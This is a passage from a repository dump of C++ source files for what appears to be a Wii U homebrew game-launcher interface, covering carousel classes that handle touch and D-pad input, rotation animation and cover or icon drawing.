1 ]);\n    lastPosition.x = controller->data.x;\n    lastPosition.y = controller->data.y;\n}\n\nvoid GuiGameCarousel::OnTouchHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(touchClickDelay || (pagesize == 0) || !controller->data.validPointer) {\n        bWasDragging = false;\n        return;\n    }\n\n    lastTouchDifference = (controller->data.x - lastPosition.x);\n    f32 degreeAdd = lastTouchDifference * 0.096f;\n    if(fabs(degreeAdd) < 0.5f)\n        return;\n\n    currDegree -= degreeAdd;\n\n    if(!bFullCircleMode)\n    {\n        f32 leftLimit = (circleStartDegree - COVERS_CENTER_DEG);\n        f32 rightLimit = (circleStartDegree + COVERS_CENTER_DEG) - (bPageSizeEven ? DEG_OFFSET : 0.0f); // TODO: find out why the 2nd part is required\n\n        if(currDegree < leftLimit)\n        {\n            currDegree = leftLimit;\n        }\n        else if(currDegree > rightLimit)\n        {\n            currDegree = rightLimit;\n        }\n    }\n\n    destDegree = currDegree;\n\n    lastPosition.x = controller->data.x;\n    lastPosition.y = controller->data.y;\n    refreshDrawMap = true;\n    bWasDragging = true;\n}\n\nvoid GuiGameCarousel::OnTouchRelease(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(touchClickDelay || (pagesize == 0) || !controller->lastData.validPointer) {\n        bWasDragging = false;\n        return;\n    }\n\n    f32 degreeAdd = lastTouchDifference * 0.128f;\n    if(fabsf(degreeAdd) < 2.0f)\n    {\n        selectedGame = listOffset;\n\n        if(bWasDragging && selectedGameOnDragStart != selectedGame)\n        {\n            setSelectedGame(selectedGame);\n            gameSelectionChanged(this, selectedGame);\n        }\n        // if we ever want that the circle is always centered after dragging, comment this in\n        // destDegree = circleStartDegree;\n        bWasDragging = false;\n        return;\n    }\n\n    selectedGame = selectedGame - (degreeAdd + 0.5f);\n\n    if(bFullCircleMode)\n    {\n        while(selectedGame < 0)\n            selectedGame += GameList::instance()->size();\n        while(selectedGame >= GameList::instance()->size())\n            selectedGame -= GameList::instance()->size();\n    }\n    else\n    {\n        if(selectedGame >= GameList::instance()->size())\n            selectedGame = GameList::instance()->size() - 1;\n        if(selectedGame < 0)\n            selectedGame = 0;\n    }\n\n    if(selectedGame != selectedGameOnDragStart) {\n        forceRotateDirection = (lastTouchDifference > 0) ? -1 : 1;\n        setSelectedGame(selectedGame);\n        gameSelectionChanged(this, selectedGame);\n    }\n    else {\n        forceRotateDirection = 0;\n    }\n\n    circleSpeedMax = 10.0f;\n    refreshDrawMap = true;\n    bWasDragging = false;\n}\n\nvoid GuiGameCarousel::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(trigger == &buttonATrigger)\n    {\n        //! do not auto launch when wiimote is pointing to screen and presses A\n        if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n        {\n            return;\n        }\n\n        OnLaunchClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonLTrigger){\n        OnLeftSkipClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonRTrigger){\n        OnRightSkipClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonLeftTrigger){\n        OnLeftClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonRightTrigger){\n        OnRightClick(button,controller,trigger);\n    }\n}\n\nvoid GuiGameCarousel::OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(pagesize == 0)\n        return;\n\n    int sel = getSelectedGame() - 1;\n    if(sel < 0)\n    {\n        if(bFullCircleMode)\n            sel = GameList::instance()->size() - 1;\n        else\n            sel = 0;\n    }\n\n    if(sel != getSelectedGame())\n    {\n        setSelectedGame(sel);\n        gameSelectionChanged(this, sel);\n    }\n}\n\nvoid GuiGameCarousel::OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(pagesize == 0)\n        return;\n\n    int sel = getSelectedGame() + 1;\n    if(sel >= (int)GameList::instance()->size())\n        sel = bFullCircleMode ? 0 : (GameList::instance()->size() - 1);\n\n    if(sel != getSelectedGame())\n    {\n        setSelectedGame(sel);\n        gameSelectionChanged(this, sel);\n    }\n}\n\nvoid GuiGameCarousel::OnRightSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(pagesize == 0)\n        return;\n\n    int sel = getSelectedGame() + 5;\n\n    if(sel >= GameList::instance()->size())\n    {\n        if(bFullCircleMode)\n            sel -= GameList::instance()->size();\n        else\n            sel = GameList::instance()->size() - 1;\n    }\n\n    if(sel != getSelectedGame())\n    {\n        setSelectedGame(sel);\n        gameSelectionChanged(this, sel);\n    }\n}\n\nvoid GuiGameCarousel::OnLeftSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(pagesize == 0)\n        return;\n\n    int sel = getSelectedGame() - 5;\n\n    if(sel < 0)\n    {\n        if(bFullCircleMode)\n            sel += GameList::instance()->size();\n        else\n            sel = 0;\n    }\n\n    if(sel != getSelectedGame())\n    {\n        setSelectedGame(sel);\n        gameSelectionChanged(this, sel);\n    }\n}\n\nvoid GuiGameCarousel::loadBgImage(int idx)\n{\n    if(idx < 0 || idx >= GameList::instance()->size())\n        return;\n\n    std::string filepath = GameList::instance()->at(idx)->gamepath + META_PATH + \"/bootTvTex.tga\";\n\n    //! remove image that is possibly still loading\n    //! TODO: fix (state != STATE_DISABLED) its a cheap trick to make the thread not create new images when fading out because it causes issues\n    if(bgNewImageDataAsync && !isStateSet(STATE_DISABLED))\n    {\n        GuiImageAsync::removeFromQueue(bgNewImageDataAsync);\n        AsyncDeleter::pushForDelete(bgNewImageDataAsync);\n        bgNewImageDataAsync = new GuiImageAsync(filepath, NULL);\n    }\n    else\n    {\n        delete bgNewImageDataAsync;\n        bgNewImageDataAsync = new GuiImageAsync(filepath, NULL);\n    }\n}\n\nvoid GuiGameCarousel::OnBgEffectFinished(GuiElement *element)\n{\n    if(element == bgFadingImageDataAsync)\n    {\n        remove(bgFadingImageDataAsync);\n        AsyncDeleter::pushForDelete(bgFadingImageDataAsync);\n        bgFadingImageDataAsync = NULL;\n    }\n}\n\nvoid GuiGameCarousel::updateDrawMap(void)\n{\n    const int carousel_x = 0;\n    const int carousel_y = -RADIUS + 80;\n\n    std::multimap<float, int> drawMap;\n    std::multimap<float, int>::iterator itr;\n\n    for(int i = 0; i < pagesize; i++)\n    {\n        float setDegree = (currDegree - DEG_OFFSET * i);\n        float rotationAngle = 90.0f - setDegree;\n        float posX = (RADIUS * cosf(DegToRad(setDegree)) + 0.5f);\n        float posY = (RADIUS * sinf(DegToRad(setDegree)) + 0.5f);\n        game[i]->setPosition(carousel_x + posX, carousel_y + posY);\n        game[i]->setAngle(rotationAngle);\n\n        drawMap.insert(std::pair<float, int>(posY, i));\n    }\n\n    int n = 0;\n    for(itr = drawMap.begin(); itr != drawMap.end(); itr++)\n    {\n        drawOrder[n++] = itr->second;\n\n        int gameIndex = getGameIndex(listOffset, itr->second);\n        if(gameIndex >= GameList::instance()->size())\n            gameIndex -= GameList::instance()->size();\n\n        coverImg[gameIndex]->setColorIntensity(glm::vec4(0.6f, 0.6f, 0.6f, 1.0f));\n    }\n\n    if(drawOrder.size())\n    {\n        int lastIdx = drawOrder[ drawOrder.size() - 1 ];\n\n        int gameIndex = getGameIndex(listOffset, lastIdx);\n        coverImg[gameIndex]->setColorIntensity(glm::vec4(1.0f));\n        gameTitle.setText(GameList::instance()->at(gameIndex)->name.c_str());\n    }\n}\n\nint GuiGameCarousel::getGameIndex(int listOffset, int idx)\n{\n    if(pagesize == 0)\n        return 0;\n\n    int gameIndex = idx;\n    if(bFullCircleMode) {\n        gameIndex += listOffset - (pagesize >> 1);\n    }\n\n    while(gameIndex < 0)\n        gameIndex += GameList::instance()->size();\n    while(gameIndex >= GameList::instance()->size())\n        gameIndex -= GameList::instance()->size();\n\n    return gameIndex;\n}\n\n/**\n * Draw the button on screen\n */\nvoid GuiGameCarousel::draw(CVideo *v)\n{\n    if(bgNewImageDataAsync && bgNewImageDataAsync->getImageData() && !bgFadingImageDataAsync)\n    {\n        if(bgUsedImageDataAsync)\n        {\n            bgFadingImageDataAsync = bgUsedImageDataAsync;\n            bgFadingImageDataAsync->setEffect(EFFECT_FADE, -10, 0);\n            bgFadingImageDataAsync->effectFinished.connect(this, &GuiGameCarousel::OnBgEffectFinished);\n        }\n\n        bgUsedImageDataAsync = bgNewImageDataAsync;\n        bgNewImageDataAsync = NULL;\n        bgUsedImageDataAsync->setColorIntensity(glm::vec4(0.5f, 0.5f, 0.5f, 1.0f));\n        bgUsedImageDataAsync->setParent(this);\n        bgUsedImageDataAsync->setEffect(EFFECT_FADE, 5, 255);\n        insert(bgUsedImageDataAsync, 0);\n    }\n\n    bool bAnimationFinished = false;\n    bool bUpdateButtonPositions = false;\n\n    if((currDegree - 0.5f) > destDegree)\n    {\n        f32 gameDistance = fabsf(selectedGame - listOffset);\n        f32 dynamicDegreeDistance = (DEG_OFFSET - fabsf(destDegree - currDegree));\n\n        if(gameDistance > (GameList::instance()->size() >> 1))\n            gameDistance = GameList::instance()->size() - gameDistance;\n\n        f32 angleDistance = gameDistance * DEG_OFFSET - dynamicDegreeDistance;\n\n        if(startRotationDistance == 0.0f)\n            startRotationDistance = angleDistance;\n\n        currDegree -= circleRotationSpeed;\n\n        circleRotationSpeed = 8.0f * angleDistance / startRotationDistance;\n\n        if(circleRotationSpeed < circleSpeedMin)\n            circleRotationSpeed = circleSpeedMin;\n        if(circleRotationSpeed > circleSpeedMax)\n            circleRotationSpeed = circleSpeedMax;\n\n        if(currDegree < destDegree)\n            currDegree = destDegree;\n\n        refreshDrawMap = true;\n    }\n    else if((currDegree + 0.5f) < destDegree)\n    {\n        f32 gameDistance = fabsf(selectedGame - listOffset);\n        f32 dynamicDegreeDistance = (DEG_OFFSET - fabsf(destDegree - currDegree));\n\n        if(gameDistance > (GameList::instance()->size() >> 1))\n            gameDistance = GameList::instance()->size() - gameDistance;\n\n        f32 angleDistance = gameDistance * DEG_OFFSET - dynamicDegreeDistance;\n\n        if(startRotationDistance == 0.0f)\n            startRotationDistance = angleDistance;\n\n        currDegree += circleRotationSpeed;\n\n        circleRotationSpeed = 8.0f * angleDistance / startRotationDistance;\n\n        if(circleRotationSpeed < circleSpeedMin)\n            circleRotationSpeed = circleSpeedMin;\n        if(circleRotationSpeed > circleSpeedMax)\n            circleRotationSpeed = circleSpeedMax;\n\n        if(currDegree > destDegree)\n            currDegree = destDegree;\n\n        refreshDrawMap = true;\n    }\n    else\n    {\n        bAnimationFinished = bAnimating;\n        bAnimating = false;\n    }\n\n    if(refreshDrawMap)\n    {\n        refreshDrawMap = false;\n        updateDrawMap();\n    }\n\n    GuiGameBrowser::draw(v);\n\n    for(u32 i = 0; i < drawOrder.size(); i++)\n    {\n        int idx = drawOrder[i];\n        game[idx]->draw(v);\n    }\n\n    if(bWasDragging)\n    {\n        if(bFullCircleMode)\n        {\n            if(currDegree > (circleStartDegree + DEG_OFFSET * 0.5f))\n            {\n                currDegree -= DEG_OFFSET;\n                destDegree -= DEG_OFFSET;\n                selectedGame++;\n                if(selectedGame >= GameList::instance()->size()) {\n                    selectedGame -= GameList::instance()->size();\n                }\n\n                listOffset = selectedGame;\n                bUpdateButtonPositions = true;\n                rotateDirection = 0;\n            }\n            else if(currDegree < (circleStartDegree - DEG_OFFSET * 0.5f))\n            {\n                currDegree += DEG_OFFSET;\n                destDegree += DEG_OFFSET;\n                selectedGame--;\n                if(selectedGame < 0) {\n                    selectedGame += GameList::instance()->size();\n                }\n\n                listOffset = selectedGame;\n                bUpdateButtonPositions = true;\n                rotateDirection = 0;\n            }\n        }\n        else\n        {\n            selectedGame = (currDegree - circleCenterDegree) / DEG_OFFSET + 0.5f;\n            listOffset = selectedGame;\n        }\n\n    }\n\n    if(!bAnimating && (listOffset != selectedGame || bAnimationFinished || bUpdateButtonPositions))\n    {\n        if(bUpdateButtonPositions || bAnimationFinished)\n        {\n            if(rotateDirection > 0)\n            {\n                listOffset++;\n            }\n            else if(rotateDirection < 0)\n            {\n                listOffset--;\n            }\n\n            if(listOffset < 0) {\n                listOffset += GameList::instance()->size();\n            }\n            if(listOffset >= GameList::instance()->size()) {\n                listOffset -= GameList::instance()->size();\n            }\n\n            for(int i = 0; i < pagesize; i++)\n            {\n                int idx = getGameIndex(listOffset, i);\n\n                if(idx < 0) {\n                    idx += GameList::instance()->size();\n                }\n                if(idx >= GameList::instance()->size()) {\n                    idx -= GameList::instance()->size();\n                }\n\n                game[i]->setImage(coverImg[idx]);\n            }\n\n            if(bAnimationFinished)\n            {\n                destDegree = bFullCircleMode ? circleStartDegree : (circleCenterDegree + listOffset * DEG_OFFSET);\n                currDegree = destDegree;\n            }\n            refreshDrawMap = true;\n        }\n\n        rotateDirection = 0;\n\n        if(listOffset < selectedGame)\n        {\n            if(forceRotateDirection)\n                rotateDirection = forceRotateDirection;\n            else if(!bFullCircleMode)\n                rotateDirection = 1;\n            else\n                rotateDirection = ((selectedGame - listOffset) > (GameList::instance()->size() >> 1)) ? -1 : 1;\n        }\n        else if(listOffset > selectedGame)\n        {\n            if(forceRotateDirection)\n                rotateDirection = forceRotateDirection;\n            else if(!bFullCircleMode)\n                rotateDirection = -1;\n            else\n                rotateDirection = ((listOffset - selectedGame) > (GameList::instance()->size() >> 1)) ? 1 : -1;\n        }\n\n        if(rotateDirection > 0)\n        {\n            destDegree += DEG_OFFSET;\n            bAnimating = true;\n            rotateDirection = 1;\n        }\n        else if(rotateDirection < 0)\n        {\n            destDegree -= DEG_OFFSET;\n            bAnimating = true;\n            rotateDirection = -1;\n        }\n        else\n        {\n            startRotationDistance = 0.0f;\n            forceRotateDirection = 0;\n        }\n\n        bUpdateButtonPositions = false;\n    }\n}\n\nvoid GuiGameCarousel::update(GuiController * c)\n{\n    if (isStateSet(STATE_DISABLED) || !pagesize)\n        return;\n\n    GuiGameBrowser::update(c);\n\n    for(u32 i = 0; i < drawOrder.size(); i++)\n    {\n        int idx = drawOrder[i];\n        game[idx]->update(c);\n    }\n}\n\n\nvoid GuiGameCarousel::updateEffects()\n{\n    gameLaunchTimer++;\n\n    if(touchClickDelay)\n        touchClickDelay--;\n\n    GuiGameBrowser::updateEffects();\n\n    for(u32 i = 0; i < drawOrder.size(); i++)\n    {\n        int idx = drawOrder[i];\n        game[idx]->updateEffects();\n    }\n}\n"
  },
  {
    "path": "src/gui/GuiGameCarousel.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _GUIGAMECAROUSEL_H_\n#define _GUIGAMECAROUSEL_H_\n\n#include <vector>\n#include \"GuiImageAsync.h\"\n#include \"GuiGameBrowser.h\"\n#include \"GuiImage.h\"\n#include \"GuiText.h\"\n#include \"GuiParticleImage.h\"\n\nclass GuiGameCarousel : public GuiGameBrowser, public sigslot::has_slots<>\n{\npublic:\n    GuiGameCarousel(int w, int h, int GameIndex);\n    virtual ~GuiGameCarousel();\n\n    void setSelectedGame(int idx);\n    int getSelectedGame();\n    void refresh();\n    void draw(CVideo *v);\n    void update(GuiController * c);\n    void updateEffects();\nprotected:\n    void OnGameButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnTouchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnTouchHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnTouchRelease(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnLeftSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnRightSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void OnLaunchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {\n        gameLaunchClicked(this, getSelectedGame());\n    }\n\n    void OnBgEffectFinished(GuiElement *element);\n\n    void updateDrawMap(void);\n\n    void loadBgImage(int idx);\n\n    int getGameIndex(int listOffset, int idx);\n\n    bool refreshDrawMap;\n    bool bAnimating;\n    bool bWasDragging;\n    bool bWasSwapped;\n    bool bFullCircleMode;\n    bool bPageSizeEven;\n    int rotateDirection;\n    int forceRotateDirection;\n    int selectedGame;\n    int selectedGameOnDragStart;\n    int listOffset;\n    int pagesize;\n    POINT lastPosition;\n    int lastTouchDifference;\n    int touchClickDelay;\n    u32 gameLaunchTimer;\n\n    f32 circleCenterDegree;\n    f32 circleStartDegree;\n    f32 circleRotationSpeed;\n    f32 circleSpeedMin;\n    f32 circleSpeedMax;\n    f32 startRotationDistance;\n\n    GuiSound *buttonClickSound;\n    GuiImageData noCover;\n    std::vector<GuiButton *> game;\n    std::vector<GuiImage *> coverImg;\n    std::vector<int> drawOrder;\n\n    f32 currDegree;\n    f32 destDegree;\n\n    GuiText gameTitle;\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger buttonATrigger;\n    GuiTrigger buttonLTrigger;\n    GuiTrigger buttonRTrigger;\n    GuiTrigger buttonLeftTrigger;\n    GuiTrigger buttonRightTrigger;\n    GuiButton touchButton;\n    GuiButton DPADButtons;\n\n    GuiParticleImage particleBgImage;\n\n    GuiImageAsync *bgUsedImageDataAsync;\n    GuiImageAsync *bgNewImageDataAsync;\n    GuiImageAsync *bgFadingImageDataAsync;\n};\n#endif\n"
  },
  {
    "path": "src/gui/GuiIconCarousel.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiIconCarousel.h\"\n#include \"GuiController.h\"\n#include \"common/common.h\"\n#include \"Application.h\"\n#include \"video/CVideo.h\"\n#include \"game/GameList.h\"\n#include \"resources/Resources.h\"\n\nstatic const float RADIUS = 0.9f;\nstatic const float radiusScale = 1.0f; // 1:1 game\nstatic const float Yoffset = 0.04f;\nstatic const float cam_X_rot = 25.0f;\nstatic const float fIconRgbDrop = 0.395f;\nstatic const float fOpacy = 1.0f;\n\nGuiIconCarousel::GuiIconCarousel(int w, int h, int GameIndex)\n    : GuiGameBrowser(w, h, GameIndex)\n    , buttonClickSound(Resources::GetSound(\"button_click.mp3\"))\n    , bgGridData(Resources::GetFile(\"bgGridTile.png\"), Resources::GetFileSize(\"bgGridTile.png\"), GX2_TEX_CLAMP_WRAP)\n    , bgGrid(&bgGridData)\n    , noIcon(Resources::GetFile(\"noGameIcon.png\"), Resources::GetFileSize(\"noGameIcon.png\"), GX2_TEX_CLAMP_MIRROR)\n    , bgUsedImageDataAsync(NULL)\n    , bgNewImageDataAsync(NULL)\n    , bgFadingImageDataAsync(NULL)\n    , gameTitle((char*)NULL, 52, glm::vec4(1.0f))\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n    , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n    , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true)\n    , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true)\n    , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true)\n    , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true)\n    , touchButton(w, h)\n    , DPADButtons(w, h)\n{\n    m_modelView = glm::mat4(1.0f);\n    circlePosition = 0.0f;\n    bUpdateMap = true;\n    gameLaunchTimer = 60;\n    touchClickDelay = 0;\n    selectedGame = GameIndex;\n    selectedGameOnDragStart = 0;\n    bWasDragging = false;\n    circleRadius = RADIUS * GameList::instance()->size() / 12.0f;\n\n    circlePosition = 0.0f;\n    circleTargetPosition = 0.0f;\n    circleRotationSpeed = 0.0f;\n    lastTouchDifference = 0.0f;\n    startRotationDistance = 0.0f;\n    circleSpeedLimit = 1.8f;\n\n    bgGrid.setScale(0.25f);\n    append(&bgGrid);\n\n    touchButton.setClickable(true);\n    touchButton.setHoldable(true);\n    touchButton.setTrigger(&touchTrigger);\n    touchButton.setTrigger(&wpadTouchTrigger);\n    touchButton.clicked.connect(this, &GuiIconCarousel::OnTouchClick);\n    touchButton.held.connect(this, &GuiIconCarousel::OnTouchHold);\n    touchButton.released.connect(this, &GuiIconCarousel::OnTouchRelease);\n    append(&touchButton);\n\n    DPADButtons.setTrigger(&buttonATrigger);\n    DPADButtons.setTrigger(&buttonLTrigger);\n    DPADButtons.setTrigger(&buttonRTrigger);\n    DPADButtons.setTrigger(&buttonLeftTrigger);\n    DPADButtons.setTrigger(&buttonRightTrigger);\n    DPADButtons.clicked.connect(this, &GuiIconCarousel::OnDPADClick);\n    append(&DPADButtons);\n\n    for(int i = 0; i < GameList::instance()->size(); i++)\n    {\n\t\tstd::string filepath = GameList::instance()->at(i)->gamepath + META_PATH + \"/iconTex.tga\";\n\n        GameIcon *icon = new GameIcon(filepath, &noIcon);\n        icon->setParent(this);\n\n        gameIcons.push_back(icon);\n        drawOrder.push_back(i);\n        append(icon);\n    }\n\n    gameTitle.setPosition(0, -320);\n    gameTitle.setBlurGlowColor(16.0f, glm::vec4(0.109804, 0.6549, 1.0f, 1.0f));\n    gameTitle.setMaxWidth(900, GuiText::DOTTED);\n    append(&gameTitle);\n    \n    circleTargetPosition = 360.0f - GameIndex * 360.0f / (radiusScale * gameIcons.size());\n    circlePosition = circleTargetPosition;\n    setSelectedGame(selectedGame);\n}\n\nGuiIconCarousel::~GuiIconCarousel()\n{\n    AsyncDeleter::pushForDelete(bgFadingImageDataAsync);\n    AsyncDeleter::pushForDelete(bgUsedImageDataAsync);\n    AsyncDeleter::pushForDelete(bgNewImageDataAsync);\n\n    for(size_t i = 0; i < gameIcons.size(); i++)\n    {\n        delete gameIcons[i];\n    }\n\n    Resources::RemoveSound(buttonClickSound);\n}\n\nvoid GuiIconCarousel::OnBgEffectFinished(GuiElement *element)\n{\n    if(element == bgFadingImageDataAsync)\n    {\n        remove(bgFadingImageDataAsync);\n        AsyncDeleter::pushForDelete(bgFadingImageDataAsync);\n        bgFadingImageDataAsync = NULL;\n    }\n}\n\nint GuiIconCarousel::getSelectedGame()\n{\n    return selectedGame;\n}\n\nvoid GuiIconCarousel::setSelectedGame(int selectedIdx)\n{\n    if(selectedIdx < 0 || selectedIdx >= (int)drawOrder.size())\n        return;\n\n    //! normalize to 360°\n    circlePosition = ((int)(circlePosition + 0.5f)) % 360;\n    if(circlePosition < 0.0f)\n        circlePosition += 360.0f;\n\n    circleTargetPosition = 360.0f - selectedIdx * 360.0f / (radiusScale * gameIcons.size());\n\n    f32 angleDiff = (circleTargetPosition - circlePosition);\n    if(angleDiff > 180.0f)\n        circleTargetPosition -= 360.0f;\n    else if(angleDiff < -180.0f)\n        circleTargetPosition += 360.0f;\n\n    bUpdateMap = true;\n\n    touchClickDelay = 20;\n    circleSpeedLimit = 1.8f;\n}\n\nvoid GuiIconCarousel::OnTouchClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(!controller->data.validPointer)\n        return;\n\n    bWasDragging = false;\n    selectedGameOnDragStart = getSelectedGame();\n    lastPosition.x = controller->data.x;\n    lastPosition.y = controller->data.y;\n\n    //! calculate ray origin and direction\n    glm::vec3 rayOrigin;\n    glm::vec3 rayDir;\n\n    CVideo *video = Application::instance()->getVideo();\n    video->screenPosToWorldRay(controller->data.x, controller->data.y, rayOrigin, rayDir);\n\n    glm::vec3 rayDirFrac((rayDir.x != 0.0f) ? (1.0f / rayDir.x) : 0.0f, (rayDir.y != 0.0f) ? (1.0f / rayDir.y) : 0.0f, (rayDir.z != 0.0f) ? (1.0f / rayDir.z) : 0.0f);\n\n    for(u32 i = 0; i < drawOrder.size(); ++i)\n    {\n        int idx = drawOrder[i];\n\n        if(gameIcons[idx]->checkRayIntersection(rayOrigin, rayDirFrac))\n        {\n            if(buttonClickSound)\n                buttonClickSound->Play();\n\n            setSelectedGame(idx);\n            gameSelectionChanged(this, idx);\n\n            //! TODO: change this to a button assigned image\n            gameIcons[idx]->setState(STATE_CLICKED);\n            gameIcons[idx]->setEffect(EFFECT_SCALE, 4, 125);\n\n            if(selectedGame == idx)\n            {\n                if(gameLaunchTimer < 30)\n                    OnLaunchClick(button, controller, trigger);\n\n                gameLaunchTimer = 0;\n            }\n        }\n    }\n}\n\n\nvoid GuiIconCarousel::OnTouchHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(!controller->data.validPointer)\n        return;\n\n    lastTouchDifference = ((int)controller->data.x - (int)lastPosition.x);\n    f32 degreeAdd = lastTouchDifference * 0.128f;\n    if(touchClickDelay || fabsf(degreeAdd) < 0.5f) {\n        return;\n    }\n\n    circlePosition -= degreeAdd;\n    circleTargetPosition = circlePosition;\n\n    lastPosition.x = controller->data.x;\n    lastPosition.y = controller->data.y;\n    bUpdateMap = true;\n    bWasDragging = true;\n}\n\nvoid GuiIconCarousel::OnTouchRelease(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(!controller->lastData.validPointer)\n        return;\n\n    for(size_t i = 0; i < gameIcons.size(); ++i)\n    {\n        if(gameIcons[i]->isStateSet(STATE_CLICKED))\n        {\n            gameIcons[i]->setEffect(EFFECT_SCALE, -4, 100);\n            gameIcons[i]->clearState(STATE_CLICKED);\n        }\n    }\n\n    f32 degreeAdd = lastTouchDifference * 0.128f;\n    if(touchClickDelay || fabsf(degreeAdd) < 2.0f)\n    {\n        updateDrawMap();\n        if(bWasDragging && selectedGameOnDragStart != selectedGame)\n        {\n            setSelectedGame(selectedGame);\n            gameSelectionChanged(this, selectedGame);\n        }\n        return;\n    }\n\n    circlePosition = ((int)(circlePosition + 0.5f)) % 360;\n    if(circlePosition < 0.0f)\n        circlePosition += 360.0f;\n\n    f32 partDegree = 360.0f / (radiusScale * gameIcons.size());\n\n    circleTargetPosition = circlePosition - 0.5f * degreeAdd * partDegree;\n\n    //! round to nearest game position at the target position\n    circleTargetPosition = ((int)(circleTargetPosition / partDegree + 0.5f)) * partDegree;\n    circleSpeedLimit = 10.0f;\n\n    int iItem = 0;\n    f32 zMax = -9999.9f;\n\n    for(u32 i = 0; i < gameIcons.size(); i++)\n    {\n        float currDegree = DegToRad(360.0f / (radiusScale * gameIcons.size()) * i + circleTargetPosition + 90.0f);\n        float posZ = radiusScale * circleRadius * sinf(currDegree) + RADIUS - gameIcons.size() * (RADIUS / 12.0f);\n\n        if(zMax < posZ)\n        {\n            iItem = i;\n            zMax = posZ;\n        }\n    }\n\n    selectedGame = iItem;\n    gameSelectionChanged(this, selectedGame);\n}\n\nvoid GuiIconCarousel::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(trigger == &buttonATrigger){\n        //! do not auto launch when wiimote is pointing to screen and presses A\n        if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n        {\n            return;\n        }\n        OnLaunchClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonLTrigger){\n        OnLeftSkipClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonRTrigger){\n        OnRightSkipClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonLeftTrigger){\n        OnLeftClick(button,controller,trigger);\n    }\n    else if(trigger == &buttonRightTrigger){\n        OnRightClick(button,controller,trigger);\n    }\n}\n\nvoid GuiIconCarousel::OnLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    int sel = getSelectedGame() + 1;\n    if(sel >= (int)GameList::instance()->size())\n        sel = 0;\n\n    setSelectedGame(sel);\n    gameSelectionChanged(this, sel);\n}\n\nvoid GuiIconCarousel::OnRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    int sel = getSelectedGame() - 1;\n    if(sel < 0 && (GameList::instance()->size() > 1))\n        sel = GameList::instance()->size() - 1;\n\n    setSelectedGame(sel);\n    gameSelectionChanged(this, sel);\n}\n\nvoid GuiIconCarousel::OnLeftSkipClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n\tif((int)GameList::instance()->size() > 